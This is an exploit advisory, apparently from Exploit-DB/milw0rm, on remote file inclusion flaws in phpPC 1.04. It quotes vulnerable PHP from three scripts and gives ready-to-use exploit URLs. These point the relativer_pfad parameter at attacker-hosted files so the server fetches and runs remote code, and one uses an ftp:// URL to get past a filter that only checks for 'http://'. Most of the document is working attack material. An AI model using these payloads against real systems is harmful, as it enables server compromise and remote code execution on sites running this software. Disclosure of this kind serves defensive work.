phpPC <= 1.04 - Multiple Remote File Inclusion Vulnerabilities

2006-11-21T00:00:00
ID EDB-ID:2827
Type exploitdb
Reporter iss4m
Modified 2006-11-21T00:00:00

Description

phpPC <= 1.04 Multiple Remote File Inclusion Vulnerabilities. CVE-2006-7136. Webapps exploit for php platform

                                        
                                            phpPC 1.04 Multiples Remote File Inclusion

Script        : PHP Poll Creator
Version       : 1.04
Vendor URL    : http://www.phppc.de
Impact        : Remote File Inclusion
Discovered by : iss4m
Contact       : iss4m.1@gmail.com


Vulnerable code in poll.php
--------------------------------

&lt;?php
if ($is_phppc_included != 1) {
    include "config.inc.php";
    $file = "lib/functions.inc.php";
    include $relativer_pfad.$file;
    include ($relativer_pfad . "layout_top.inc.php");
    $is_phppc_included = 1;
}else include $relativer_pfad . "lib/get_config.inc.php"; #&lt;== !!!!

Exploit :
**********

http://localhost/phppc/poll.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt?


Vulnerable code in poll.php poll_kommentar.php
-----------------------------------------------

&lt;?php

if ($is_phppc_included != 1) {
    include "config.inc.php";
    include ($relativer_pfad . "lib/functions.inc.php");
}
$com = "phppc_kommentar";
$cookie = $cookie_name.$com.$poll_id;
$cookie_ueberwachung = ${$cookie};
if($action=='new_com') {
    if ($cookie_ueberwachung=="flood") {
        $must_not_create_com = 1;
    }else {
        $zeit = time() + 30;
        SetCookie("$cookie_name$com$poll_id","flood","$zeit","/");        
    }
}
if ($is_phppc_included != 1) {
    include "layout_top.inc.php";
    $is_phppc_included = 1;
}
include $relativer_pfad . "poll_titel_kat.inc.php";  # Here !!!!!!!!


http://localhost/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=http://attacker/inject.txt ?



Vulnerable code in poll_sm.php
---------------------------------

if(substr_count($relativer_pfad,"http://") &gt;= 1 OR substr_count($relativer_pfad,"../") &gt;= 1) $relativer_pfad = "";

if ($is_phppc_included != 1) {
    $file = "lib/functions.inc.php";
    include $relativer_pfad.$file;
}
include ($relativer_pfad . "layout_top_sm.inc.php");


the script check only if $relativer_pfad contain "http://" but we can include remote file using ftp://

Exploit :
**********

http://localhost/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=ftp://user:pass@ftp.attacker.ltd/script.txt ?

# milw0rm.com [2006-11-21]